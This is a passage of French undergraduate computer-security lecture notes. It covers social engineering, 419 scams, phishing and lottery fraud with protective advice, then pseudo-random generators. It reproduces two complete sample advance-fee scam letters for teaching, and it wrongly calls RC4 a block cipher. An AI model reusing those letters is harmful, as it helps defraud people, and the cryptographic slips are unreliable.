• Supprimer les procédures stockées ;

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 72
5.17. Arnaques

5.17.1. Ingénierie sociale

Le terme d'« ingénierie sociale » (en anglais « social engineering ») désigne l'art
de manipuler des personnes afin de contourner des dispositifs de sécurité. Il s'agit
ainsi d'une technique consistant à obtenir des informations de la part des
utilisateurs par téléphone, courrier électronique, courrier traditionnel ou contact
direct.

L'ingénierie sociale est basée sur l'utilisation de la force de persuasion et


l'exploitation de la naïveté des utilisateurs en se faisant passer pour une personne
de la maison, un technicien, un administrateur, etc.

D'une manière générale les méthodes d'ingénierie sociale se déroule selon le


schéma suivant :

• Une phase d'approche permettant de mettre l'utilisateur en confiance, en


se faisant passer pour une personne de sa hiérarchie, de l'entreprise, de
son entourage ou pour un client, un fournisseur, etc.
• Une mise en alerte, afin de le déstabiliser et de s'assurer de la rapidité de
sa réaction. Il peut s'agir par exemple d'un prétexte de sécurité ou d'une
situation d'urgence ;
• Une diversion, c'est-à-dire une phrase ou une situation permettant de
rassurer l'utilisateur et d'éviter qu'il se focalise sur l'alerte. Il peut s'agir
par exemple d'un remerciement annonçant que tout est rentré dans
l'ordre, d'une phrase anodine ou dans le cas d'un courrier électronique ou
d'un site web, d'une redirection vers le site web de l'entreprise.

L'ingénierie sociale peut prendre plusieurs formes :

• Par téléphone,
• Par courrier électronique,
• Par courrier écrit,
• Par messagerie instantanée,
• etc.

5.17.1. Comment se protéger

La meilleure façon de se protéger des techniques d'ingénierie sociale est


d'utiliser son bon sens pour ne pas divulguer à n'importe qui des informations

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 73
pouvant nuire à la sécurité de l'entreprise. Il est ainsi conseillé, quel que soit le
type de renseignement demandé :

• de se renseigner sur l'identité de son interlocuteur en lui demandant des


informations précises (nom et prénom, société, numéro de téléphone) ;
• de vérifier éventuellement les renseignements fournis ;
• de s'interroger sur la criticité des informations demandées.

Ainsi, une formation et une sensibilisation des utilisateurs aux problèmes de


sécurité peuvent s'avérer nécessaires.

5.17.2. Le scam

Le « scam » (« ruse » en anglais), est une pratique frauduleuse d'origine africaine,


consistant à extorquer des fonds à des internautes en leur faisant miroiter une
somme d'argent dont ils pourraient toucher un pourcentage. L'arnaque du scam
est issue du Nigéria, ce qui lui vaut également l'appellation « 419 » en référence
à l'article du code pénal nigérian réprimant ce type de pratique.

L'arnaque du scam est classique : vous recevez un courrier électronique de


la part du seul descendant d'un riche africain décédé il y a peu. Ce dernier a déposé
plusieurs millions de dollars dans une compagnie de sécurité financière et votre
interlocuteur a besoin d'un associé à l'étranger pour l'aider à transférer les fonds.
Il est d'ailleurs prêt à vous reverser un pourcentage non négligeable si vous
acceptez de lui fournir un compte pour faire transiter les fonds.

En répondant à un message de type scam, l'internaute s'enferme dans un


cercle vicieux pouvant lui coûter de quelques centaines d'euros s'il mord à
l'hameçon et même la vie dans certains cas.

En effet, deux cas de figures se présentent :

•Soit les échanges avec l'escroc se font virtuellement auquel cas celui-ci
va envoyer quelques « documents officiels » pour rassurer sa victime et
petit à petit lui demander d'avancer des frais pour des honoraires
d'avocats, puis des frais de douanes, des frais de banque, etc.
• Soit la victime accepte, sous pression du cyberbandit, de se rendre dans
le pays avec la somme en liquide auquel cas elle devra payer des frais
pour pouvoir rester dans le pays, payer des frais de banque, soudoyer des
hommes d'affaires, et ainsi de suite.
Dans le meilleur des cas la victime rentre chez elle en avion délestée d'une somme
d'argent non négligeable, dans le pire scénario plus personne ne la revoit...

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 74
Quelques exemples
Objet: ASSISTANCE
GEORGES TRAORE
ABIDJAN,CÔTE D'IVOIRE.
AFRIQUE DE L'OUEST.
Bonjour,

Je vous prie de bien vouloir excuser cette intrusion qui peut


paraître surprenante à première vue d'autant qu'il n'existe
aucune relation entre nous.
Je voudrais avec votre accord vous présenter ma situation et
vous proposer une affaire qui pourrait vous intéresser.
Je me nomme Georges TRAORE, j'ai 22 ans et le seul fils de mon
Père Honorable RICHARD ANDERSON TRAORE qui était un homme très
riche, négociant de Café/Cacao basé à Abidjan la Capitale
Economique de la Côte d'Ivoire, empoisonné récemment par ses
associés.

Après la mort de ma mère le 21 Octobre 2000, mon père m'a pris


spécialement avec lui. Le 24 Décembre 2003 est survenu le décès
de mon père dans une clinique privée (LAMADONE) à Abidjan.
Avant sa mort, secrêtement, il m'a dit qu'il a déposé une somme
d'un montant de ($8,500,000) Huit Millions Cinq Cent Mille
Dollars Américains dans une valise dans une Compagnie de Sécurité
Financière en mon nom comme héritier.

En outre, il m'a dit que c'est par rapport à cette richesse qu'il
a été empoisonné par ses associés. Il me recommande aussi de
chercher un associé étranger qui pourrait honnêtement me faire
bénéficier de son assistance pour sauver ma vie et assurer mon
existence.

- Changement de bénéficaire ;
- Servir de gardien ;
- Fournir un compte pour le transfert de fonds ;
- M'aider à le rejoindre dans son pays ;
- Investir dans un domaine profitable.

D'ailleurs, je vous donnerai 25 % et 5% serviront aux dépenses


éventuelles qui seront effectuées.
Je vous serai reconnaissante de pouvoir bénéficier de vos
conseils utiles .
NB : Je vous recommande de traiter cette affaire avec subtilités
et confidentialité vu la dégradation de la situation
sociopolitique dans laquelle nous vivons présentement.
Que Dieu vous bénisse !
GEORGES TRAORE.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 75
Objet: NOTIFICATION D'APPROBATION

BUREAU DU DEPARTMENT INTERNATIONAL


DE TRANSFERT
A: M. H. HERMANN
RE:DEPARTEMENT D'OPÉRATION INTERNATIONALE

NOUS ACCUSONS RECEPTION DE VOTRE MESSAGE.


EFFECTIVEMENT, NOUS AVONS ETE INSTRUITS PAR LES ENFANTS KONE
AFIN D'EFFECTUER LE TRANSFERT DE LA SOMME DE $4 MILLIONS EN VOTRE
FAVEUR.

NOUS VOUS REAFFIRMONS QUE CES FONDS ONT ETE DEPOSES A NOTRE
BANQUE PAR MONSIEUR KEVIN KONE QUI, AU MOMENT DU DEPOT, AVAIT
MENTIONNE SA FILLE, ANGELA KONE COMME
L’AYANT DROIT.

A CET EFFET, LE CONSEIL D'ADMINISTRATION DU DÉPARTEMENT


INTERNATIONAL DE TRANSFERT DE LA COOPEC BANQUE PREND LA LIBERTÉ
DE VOUS CONFIRMER LE PROCESSUS D'APPROBATION DESDITS FONDS EN
VOTRE FAVEUR. LA BANQUE DEMANDE LES DOCUMENTS JURIDIQUES DE LA
COUR DE JUSTICE ICI À ABIDJAN SIGNÉS PAR LE PRESIDENT DE LA COUR
JUSTICE POUR LÉGALISER LE PROCESSUS DE TRANSFERT; ET IL FAUT
NOTER QUE PUISQU'ELLE N’EST PAS LA SIGNATAIRE ORIGINALE DES FONDS
DÉPOSÉS MAIS PLUTÔT SON DÉFUNT PÈRE, LA BANQUE L’INVITE À FOURNIR
LES DOCUMENTS JURIDIQUES CI-DESSOUS ÉNUMÉRÉS PAR LA COUR DE
JUSTICE POUR QUE NOUS PUISSIONS ADHÉRER À L'INSTRUCTION AFIN DE
FACILITER LE TRANSFERT DE CES FONDS DANS VOTRE COMPTE BANCAIRE.
CES DOCUMENTS SONT LES SUIVANTS :
1) UNE PROCURATION.
2) UN CERTIFICAT D'AUTORISATION DE LA COUR DE JUSTICE.
3) UNE ATTESTATION DE SOURCE DES FONDS
UNE FOIS QUE NOUS SERIONS EN POSSESSION DE CES DOCUMENTS LE
TRANSFERT SERA AUTOMATIQUE. SUR VOTRE RECONFIRMATION, NOUS VOUS
METTRONS À JOUR DE LA LETTRE D'AVIS DE TRANSFERT PAR
L'INTERMÉDIAIRE DE NOTRE COMPTE AVEC NOTRE BANQUE CORRESPONDANTE
AFIN D'EFFECTUER LE TRANSFERT DANS VOTRE COMPTE.

SI VOUS EXIGEZ D'AUTRES CLARIFICATIONS, N'HESITEZ PAS A ME


CONTACTER AU (225)05 20 91 56 OU PAR MAIL. AIDEZ-NOUS À MIEUX
VOUS SERVIR.
NOUS VOUS PRIONS DE CROIRE À L'ASSURANCE DE NOTRE
CONSIDÉRATION DISTINGUÉE.

Comment se protéger contre le scam

Lorsque l'on vous propose de gagner facilement de grosses sommes d'argent par
Internet, il s'agit sans aucun doute d'une escroquerie. La meilleure solution est

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 76
comme toujours de supprimer le message. Inutile de mener vous-même une
bataille contre ces brigands, des services compétents de différents pays s'occupent
déjà de ce genre d'affaires.

5.18. Introduction au phishing

Le phishing (contraction des mots anglais « fishing », en français pêche, et


« phreaking », désignant le piratage de lignes téléphoniques), traduit parfois en
« hameçonnage », est une technique frauduleuse utilisée par les pirates
informatiques pour récupérer des informations (généralement bancaires) auprès
d'internautes.

La technique du phishing est une technique d'« ingénierie sociale » c'est-à-


dire consistant à exploiter non pas une faille informatique mais la « faille
humaine » en dupant les internautes par le biais d'un courrier électronique
semblant provenir d'une entreprise de confiance, typiquement une banque ou un
site de commerce.

Le mail envoyé par ces pirates usurpe l'identité d'une entreprise (banque, site
de commerce électronique, etc.) et les invite à se connecter en ligne par le biais
d'un lien hypertexte et de metre à jour des informations les concernant dans un
formulaire d'une page web factice, copie conforme du site original, en prétextant
par exemple une mise à jour du service, une intervention du support technique,
etc.

Dans la mesure où les adresses électroniques sont collectées au hasard sur


Internet, le message a généralement peu de sens puisque l'internaute n'est pas
client de la banque de laquelle le courrier semble provenir. Mais sur la quantité
des messages envoyés il arrive que le destinataire soit effectivement client de la
banque.

Ainsi, par le biais du formulaire, les pirates réussissent à obtenir les


identifiants et mots de passe des internautes ou bien des données personnelles ou
bancaires (numéro de client, numéro de compte en banque, etc.).

Grâce à ces données les pirates sont capables de transférer directement


l'argent sur un autre compte ou bien d'obtenir ultérieurement les données
nécessaires en utilisant intelligemment les données personnelles ainsi collectées.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 77
Comment se protéger du phishing ?

Lorsque vous recevez un message provenant a priori d'un établissement bancaire


ou d'un site de commerce électronique il est nécessaire de vous poser les questions
suivantes :

• Ai-je communiqué à cet établissement mon adresse de messagerie ?


• Le courrier reçu possède-t-il des éléments personnalisés permettant
d'identifier sa véracité (numéro de client, nom de l'agence, etc.) ?

Par ailleurs il est conseillé de suivre les conseils suivants :

• Ne cliquez pas directement sur le lien contenu dans le mail, mais ouvrez
votre navigateur et saisissez vous-même l'URL d'accès au service.
• Méfiez-vous des formulaires demandant des informations bancaires. Il est
en effet rare (voire impossible) qu'une banque vous demande des
renseignements aussi importants par un simple courrier électronique. Dans
le doute contactez directement votre agence par téléphone !
• Assurez-vous, lorsque vous saisissez des informations sensibles, que le
navigateur est en mode sécurisé, c'est-à-dire que l'adresse dans la barre du
navigateur commence par https et qu'un petit cadenas est affiché dans la
barre d'état au bas de votre navigateur, et que le domaine du site dans
l'adresse correspond bien à celui annoncé (gare à l'orthographe du
domaine) !

5.19. Loterie internationale

Vous recevez un courrier électronique indiquant que vous êtes l'heureux gagnant
du premier prix d'une grande loterie d'une valeur de plusieurs (centaines de)
milliers d'euros. Pour empocher le pactole il suffit de répondre à ce courrier.

Après une mise en confiance et quelques échanges de courriers,


éventuellement avec des pièces jointes représentant des papiers attestant que vous
êtes bien le vainqueur, votre interlocuteur vous expliquera que pour pouvoir
toucher ladite somme, il faut s'affranchir de frais administratifs, puis viennent des
frais de douane, des taxes diverses et variées, etc.

C'est de cette façon que ces cybertruands arrivent à extorquer des milliers
d'euros à des internautes dupes de cette supercherie.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 78
Comment se protéger ?

Toute loterie et tout jeu concours possède un règlement auquel on est en droit
d'accéder. Qui plus est l'adresse électronique est généralement hébergée dans un
service gratuit de messagerie. Enfin comment expliquer qu'il faille engager des
frais pour toucher une somme si importante ?

Bref, le mieux est de glisser directement ce type de message à la corbeille !

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 79
Chapitre 6 : Générateurs pseudo-aléatoires
6.1. Introduction

Bien que chaque compilateur inclue déjà un générateur aléatoire, l’intérêt de


chacun de ces générateur en cryptographie est cependant très peu considérable.
En effet, comme le soutient Schneier (1996), ces générateurs ne sont en général
pas sûrs du point de vue cryptographique et probablement même pas très aléatoire.
La plupart d’entre eux sont désespérément mauvais.

Etudiant de près les propriétés des générateurs aléatoires de nombres, on


arrive à observer des corrélations gênantes et des résultats étranges (Park et Miller,
1988). De ce fait, si la sécurité d’un système informatique réside sur un générateur
aléatoire de nombres, des corrélations non désirées ou des résultats étranges ne
font pas l’affaire des utilisateurs (Schneier, 1996) mais plutôt des attaquants.

Le problème d’un générateur aléatoire de nombres est qu’il ne produit pas


une suite aléatoire car il est impossible de produire une suite aléatoire à l’aide
d’un ordinateur (Knuth, 1981). Ceci se justifie par le fait que tout générateur
aléatoire de nombres sur ordinateur est par définition périodique. Tout ce qui est
périodique est prévisible. Et ce qui est prévisible n’est pas aléatoire.

Le mieux que l’on puisse produire d’un ordinateur est un nombre pseudo-
aléatoire. Les générateurs pseudo-aléatoires ont le mérite de ne pas être
périodiques, donc indiscernables.

Dans cet exposé, nous présenterons d’abord les nombres aléatoires puis nous
aborderons les générateurs pseudo-aléatoires qui présentent un intérêt particulier
en cryptographie.

6.2. Nombres aléatoires

Les nombres aléatoires sont utilisés surtout en Statistique pour définir un


échantillon d’une population moins bien définie (souvent pour des populations
difficilement dénombrables mais également lorsque les mouvements des
populations peuvent être beaucoup plus rapides que l’étude menée).

Divers procédés permettent d’assurer le caractère aléatoire et simple des


échantillons prélevés dans des populations finies ou infinies. Un des procédés les
plus classiques est l’emploi de tables de nombres aléatoires (Dagnelie, 2007).

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 80
Ces tables sont constituées de listes de nombres qui se présentent sous une
forme apparemment désordonnée mais cependant telle que tous les chiffres soient
présents dans l’ensemble un même nombre de fois, que tous les couples de
chiffres soient aussi fréquents les uns que les autres, etc. De telles tables peuvent
être constituées, par exemple, en fonction de phénomène physique tout à fait
aléatoires, tels que la désintégration atomique et l’émission de rayons gamma
(Dodge, 1996 ; Inoue et al., 1983).

6.3. Les nombres pseudo-aléatoires

L’emploi de tables de nombres aléatoires est plus souvent remplacé par


l’utilisation de nombres pseudo-aléatoires obtenus par ordinateur, à l’aide de
processus déterministes qui simulent des choix aléatoires.

Un des processus couramment utilisés est connu sous le nom de méthode


multiplicative ou méthode multiplicative congruentielle. Son principe peut être
exprimé par la relation :

𝑥𝑖+1 = 𝑘 ∙ 𝑥𝑖 (𝑚𝑜𝑑𝑢𝑙𝑜 𝑀)

Dans laquelle 𝑘, 𝑀 et 𝑥𝑖 sont des nombres entiers, tandis que l’expression


« 𝑚𝑜𝑑𝑢𝑙𝑜 𝑀 » signifie qu’on retient comme valeur de 𝑥𝑖+1 le reste de la division
de 𝑘 ∙ 𝑥𝑖 par 𝑀. La valeur de 𝑀 est généralement le plus grand nombre qu’on peut
traiter avec les moyens de calcul dont on dispose, par exemple 99.999.999 ou
100.000.000 si on considère des nombres décimaux de huit chiffres, et 2 31 ou 231-
1 si on travaille à l’aide d’un ordinateur à mots de 32 bits, tandis que la valeur
donnée à 𝑘 est généralement celle d’un nombre premier impair, différent de 1, ou
d’une puissance impaire d’un tel nombre. Enfin, pour que le système soit
opérationnel, il faut disposer aussi d’une valeur initiale 𝑥0 , qu’on choisit de
préférence impaire, et non multiple de 5 dans le cas du système décimal (Dagnelie,
2007).

Exemple :

Génération de nombres pseudo-aléatoires décimaux de deux chiffres.

Soit le processus 𝑥𝑖 = 89 ∙ 𝑥𝑖 (𝑚𝑜𝑑𝑢𝑙𝑜 101). On adopte par exemple 𝑥0 = 23,


on obtient selon cette relation :

𝑥1 = 89 ∙ (23)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 27

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 81
𝑥1 = 89 ∙ (27)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 80

𝑥1 = 89 ∙ (80)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 50

𝑥1 = 89 ∙ (50)(𝑚𝑜𝑑𝑢𝑙𝑜 101) = 6

On remarquera que ce processus fait apparaître l’ensemble des nombres


entiers de 1 à 100, de façon désordonnée, mais sans qu’il y ait cependant
réellement indépendance entre eux, la série reprenant son cours indéfiniment, tous
les 100 nombres.

L’utilisation de valeurs de base supérieure à 89 et 101, et judicieusement


choisies, permet d’obtenir des séries plus longues et présentent une meilleure
indépendance apparente.

6.3.1. Définition (Générateur pseudo-aléatoire)

Soit des entiers strictement positifs 𝑘 et 𝑙 tels que 𝑙 ≥ 𝑘+1 (où 𝑙 est obtenu
de 𝑘 par application polynomiale). Un (𝑘, 𝑙) − 𝑔é𝑛é𝑟𝑎𝑡𝑒𝑢𝑟 𝑝𝑠𝑒𝑢𝑑𝑜 −
𝑎𝑙é𝑎𝑡𝑜𝑖𝑟𝑒 (ou plus brièvement un (𝑘, 𝑙) − 𝑃𝑅𝐵𝐺) est une fonction

𝑓 ∶ (𝑍2 )𝑘 ⟶ (𝑍2 )𝑙 calculable en temps polynomial (en fonction de 𝑘).


L’entrée 𝑠0 ∈ (𝑍2 )𝑘 est appelé semence, et la sortie 𝑓(𝑠0 ) ∈ (𝑍2 )𝑙 est appelée
chaîne pseudo-aléatoire (Stinson, 1995).

La fonction 𝑓 est déterministe, donc la chaîne est entièrement définie par la


semence. Le but poursuivi en cryptographie est que cette chaîne « pseudo-
aléatoire » ressemble à une chaîne vraiment aléatoire, lorsque la sémence est
aléatoire.

6.3.2. Définition (Générateur linéaire congruentiel)

Le principe d’un générateur linéaire congruentiel peut être exprimé comme


suit :

Soit 𝑀 ≥ 2, 1 ≤ 𝑎, 𝑏 ≤ 𝑀 − 1, 𝑘 = ⌈𝑙𝑜𝑔2 𝑀⌉ et soit 𝑘 + 1 ≤ 𝑙 ≤ 𝑀 − 1.


Pour une semence 𝑠0 telle que 0 ≤ 𝑠0 ≤ 𝑀 − 1, on définit :

𝑠𝑖 = (𝑎 ∙ 𝑠𝑖−1 + 𝑏)𝑚𝑜𝑑 𝑀 pour 1 ≤ 𝑖 ≤ 𝑙, puis 𝑓(𝑠0 ) = (𝑧1 , 𝑧2 , … , 𝑧𝑙 )

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 82
Avec 𝑧𝑖 = 𝑠𝑖 𝑚𝑜𝑑 2 1 ≤ 𝑖 ≤ 𝑙. 𝑓 est un (𝑘, 𝑙) −
𝑔é𝑛é𝑟𝑎𝑡𝑒𝑢𝑟 𝑙𝑖𝑛é𝑎𝑖𝑟𝑒 𝑐𝑜𝑛𝑔𝑟𝑢𝑒𝑛𝑡𝑖𝑒𝑙.

6.3.3. Générateur RSA

Soit 𝑝 et 𝑞 deux nombres premiers de 𝑘/2 bits tels que 𝑝 ≡ 𝑞 ≡ 3 (𝑚𝑜𝑑 4),
et soit 𝑛 = 𝑝𝑞. Soit 𝑏 tel que 𝑝𝑔𝑐𝑑(𝑏, 𝜙(𝑛)) = 1. 𝑛 et 𝑏 sont publics tandis que
𝑝 et 𝑞 sont secrets. Une semence 𝑠0 est un élément de 𝑍𝑛∗ donc sur 𝑘 bits.
Pour 𝑖 ≥ 1, on définit 𝑠𝑖+1 = 𝑠𝑖𝑏 𝑚𝑜𝑑 𝑛 puis 𝑓(𝑠0 ) = (𝑧1 , 𝑧2 , … , 𝑧𝑙 )

avec 𝑧𝑖 = 𝑠𝑖 𝑚𝑜𝑑 2 1 ≤ 𝑖 ≤ 𝑙. 𝑓 est un (𝑘, 𝑙) − 𝑃𝑅𝐵𝐺 appelé générateur


RSA.

6.3.4. Générateur BBS

Soit 𝑝 et 𝑞 deux nombres premiers de 𝑘/2 bits tels que 𝑝 ≡ 𝑞 ≡ 3 (𝑚𝑜𝑑 4),
et soit 𝑛 = 𝑝𝑞. 𝑄𝑅(𝑛) représente l’ensemble de résidus quadratiques 𝑚𝑜𝑑𝑢𝑙𝑜 𝑛.
Une semence 𝑠0 est un élément de 𝑄𝑅(𝑛). Pour 𝑖 ≥ 0, on définit 𝑠𝑖+1 =
𝑠𝑖2 𝑚𝑜𝑑 𝑛 puis 𝑓(𝑠0 ) = (𝑧1 , 𝑧2 , … , 𝑧𝑙 )

avec 𝑧𝑖 = 𝑠𝑖 𝑚𝑜𝑑 2 1 ≤ 𝑖 ≤ 𝑙. 𝑓 est un (𝑘, 𝑙) − 𝑃𝑅𝐵𝐺 appelé générateur BBS

6.3.5. Résidu quadratique

Si 𝑝 est un nombre entier impair et si 𝑥 est un entier tel que 1 ≤ 𝑥 ≤ 𝑝 − 1,


on dit que 𝑥 est un résidu quadratique modulo 𝑝 si l’équation 𝑦 2 ≡ 𝑥 (𝑚𝑜𝑑 𝑝)
admet une solution dans 𝑍𝑝 , 𝑥 est un non-résidu-quadratique modulo 𝑝 si 𝑥 ≢
0 (𝑚𝑜𝑑𝑢𝑙𝑜 𝑝) et s’il n’est pas un résidu quadratique modulo 𝑝 (Stinson, 1995).

6.4. Conclusion et Discussions

Le générateur linéaire congruentiel a une période qui n’est pas plus grande que
𝑀. Si 𝑎, 𝑏 et 𝑀 sont choisis correctement (par exemple 𝑏 et 𝑀 doivent être
premiers entre eux), alors le générateur sera un générateur de période maximale
et aura une période 𝑀 (Schneier, 1996).

Knuth (1981) et l’Ecuyer (1990) donnent dans leurs ouvrages respectifs des
détails concernant le choix des constantes qui garantit la période maximale.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 83
A titre d’exemple, nous donnons dans le tableau ci-dessous, une partie de la
liste des bonnes constantes pour des générateurs linéaires congruentiels (Press et
al., 1988).

Ces constantes donnent toutes des générateurs à période maximale et même,


plus important encore, ces générateurs passent le test spectral de caractère
aléatoire pour les dimensions 2, 3, 4, 5 et 6 (Knuth, 1981 ; Coveyou &
MacPherson, 1967).

Elles sont arrangées dans l’ordre croissant du plus grand produit qui ne donne
pas de dépassement de capacité pour une longueur de mot donnée.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 84
Tableau n°6.1. Constantes pour générateurs linéaires congruentiels

Dépassement a b M
pour
220 106 1283 6075
221 211 1663 7875
222 421 1663 7875
223 430 2531 11979
936 1399 6655
1366 1283 6075
224 171 11213 53125
967 3041 14406
225 1541 2457 14000
1741 2431 12960
230 3877 29573 139963
3613 45289 214326
231 8121 28411 134456
232 9301 49297 233280
233 2416 374441 1771875
234 36261 66037 312500
235 84589 45989 217728

L’avantage des générateurs linéaires congruentiels est qu’ils sont rapides, ne


nécessitant que peu d’opérations par bit (Schneier, 1996).

Malheureusement les générateurs linéaires congruentiels ne peuvent pas être


utilisés pour la cryptographie pour chiffrement continu, car ils sont prévisibles.
Ils ont été cassés pour la première fois par Jim Reeds et Joan Boyar. Dans la foulée
les générateurs quadratiques et cubiques ont été aussi cassés. De toute évidence,
les générateurs congruentiels ne sont pas utiles pour la cryptographie (Schneier,
1996).

Ainsi a-t-on pensé à la combinaison des générateurs linéaires congruentiels


(Wichmann & Hill, 1982 ; L’Ecuyer, 1988). La combinaison n’a les seuls mérites
que d’étendre les longueurs des périodes et d’améliorer les tests de caractère
aléatoire. Leurs résultats ne sont pas, cependant plus sûrs cryptographiquement.
Un exemple d’un générateur de ce type écrit en langage C et implémenté sur un
Sécurité informatique en L2 Informatique.
Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 85
ordinateur à mots de 32 bits est donné par Schneier (1996). Par ailleurs, il donne
aussi un autre exemple pour un ordinateur à mots de 16 bits (Schneier, 1996).

Les générateurs utilisés en Cryptographie sont des algorithmes de


chiffrement en continu. Nous ne les avons pas détaillés dans notre exposé.
Néanmoins, nous en citons quelques uns :

a. Les algorithmes de chiffrements en continu à base de RDRL

• Générateur de Geffe
• Générateur de Geffe généralisé
• Générateur de Jennings
• Générateur à signal d’arrêt Beth-Piper
• Générateur à signal d’arrêt alterné
• Générateur à signal d’arrêt bilatéral
• Générateur à seuil
• Générateur auto-cadensé
• Générateur multivitesse à produit scalaire
• Générateur sommatoire
• Générateur dynamique
• Générateur à réduction
• Générateur à auto-réduction
b. A5
c. Hugues XPD/KPD
d. Nanoteq
e. Rambutan
f. Générateur additifs
• Pike
• Mush
g. Gifford
h. Algorithme M
i. PKZIP
j. Algorithmes de chiffrement en continu et générateurs des suites
vraiment aléatoires
• RC4
• SEAL

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 86
• WAKE
• Générateur PLESS
• Générateur 1/p
• Crypt(1)
• Générateur pseudo-aléatoire du nombre de SHAMIR
• Générateur de Blum-MICALI
• RSA
• BBS

Ces algorithmes, quels qu’ils soient, reposent sur des considérables théories
mathématiques. Ces théories permettent de prouver des propriétés intéressant à
propos de l’algorithme mais aussi de trouver de nouvelles attaques. De ce fait, les
algorithmes à base de RDRL sont inquiétants. On pourrait plutôt leur préférer les
algorithmes de chiffrement par blocs (le RC4 par exemple) (Schneier, 1996).

Du point de vue vitesse de chiffrement, Schneier (1996) donne un tableau


des mesures de quelques algorithmes à titre de comparaison. Sa préférence pour
le RC4 est plus ou moins justifiée.

Tableau n°6.2. Vitesse de chiffrement en continu de quelques algorithmes sur


un 486SX à 33 MHz

Algorithme Vitesse de chiffrement en Mo/s


A5 5
PIKE 62
RC4 164
SEAL 381

Bien entendu ces vitesses sont revues en hausse lorsque les algorithmes sont
implémentés dans nos ordinateurs actuels. Les fréquences des processeurs sont
aujourd’hui beaucoup plus grandes que 33 MHz. Le Pentium 4, par exemple, va
jusqu’à plus de 3 GHz de fréquence. Sans oublier que les nouvelles générations
de machines comportent non pas un seul processeur mais deux dont chacun
pouvant aller jusqu’à plus de 3 GHz de fréquence.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 87
REFERENCES
Coveyou C. & MacPherson R. D. (1967). Fourier Analysis of Uniform random numbers
generators. Journal of the Association for Computing Machinery, vol. 14, n°1, p. 100-119.

Dagnelie P. (2007). Statistique théorique et appliquée : 1. Statistique descriptive et bases de


l’inférence statistique, 2ème édition, De Boeck, Bruxelles.

Dodge Y. (1996). A natural random number generator. Int. Stat. Rev. 64 (3), 329-344.

Inoue H., Kumahora H., Yoshizawa Y., Ichimura M. & Miyatake O. (1983). Random number
generated by a physical device, Appl. Stat. 32 (2), 115-120.

Knuth D. (1981). The art of computer programming, volume 2, Semi-numerical Algorithms,


Addison-Wesley, Reading, MA, 2ème edition.

L’Ecuyer P. (1988). Efficient and portable combined random number generators.


Communications of the ACM, vol. 31, n°6, p. 742-749, 774.

L’Ecuyer P. (1990). Random Numbers for simulation, Communication of ACM, vol. 33, n°10,
p. 86-97.

Park S. J. & Miller K. W. (1988). Random number generators : Good ones are hard to find,
Communications of ACM, vol. 31, n°10, p. 1192 – 1201.

Peterson I. (1992). Monte-Carlo Physics : A cautionary lesson, Sciences News, vol. 142, n°25,
p. 422

Press W. H., Flannery B. P., Teukolsky S. A. & Vetterling W. T. (1988). Numerical recipes in
C : The Art of Scientific computing, Cambridge University Press.

Schneier B. (1996). Applied Cryptography, second edition. Trad. Fr. de Laurent Viennot :
Cryptographie appliquée : Protocoles, algorithms et codes source en C, International
Thomson Publishing France, Paris, 1997.

Stinson D. (1996). Cryptography : Theory and practice, CRC Press, Floride. Trad. Fr. de Serge
Vaudenay : Cryptographie : Théorie et pratique, International Thomson Publishing France,
Paris, 1996.

Wichmann B. A. & Hill I. D. (1982). An efficient and portable Pseudo-Random Number


generator, Applied Statistics, vol. 31, p. 188-190.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 88
Table des matières

INTRODUCTION ................................................................................................................................... 1
Chapitre 1 : Introduction à la sécurité informatique ................................................................................ 3
1.1. Equation du risque ................................................................................................................... 3
1.2. Objectifs de la sécurité ............................................................................................................ 3
1.3. Nécessité d’une approche globale ........................................................................................... 5
1.4. Mise en place d’une politique de sécurité ............................................................................... 5
1.5. Les causes de l’insécurité ........................................................................................................ 7
1.6. Mise en œuvre des mesures de sécurité ................................................................................... 7
1.7. Audit de sécurité ...................................................................................................................... 7
1.8. Test d’intrusion........................................................................................................................ 8
1.9. Détection des incidents ............................................................................................................ 8
1.10. Réaction aux incidents ......................................................................................................... 9
CHAPITRE 2 : CRYPTOGRAPHIE CLASSIQUE ............................................................................. 11
2.1. Introduction et terminologie .................................................................................................. 11
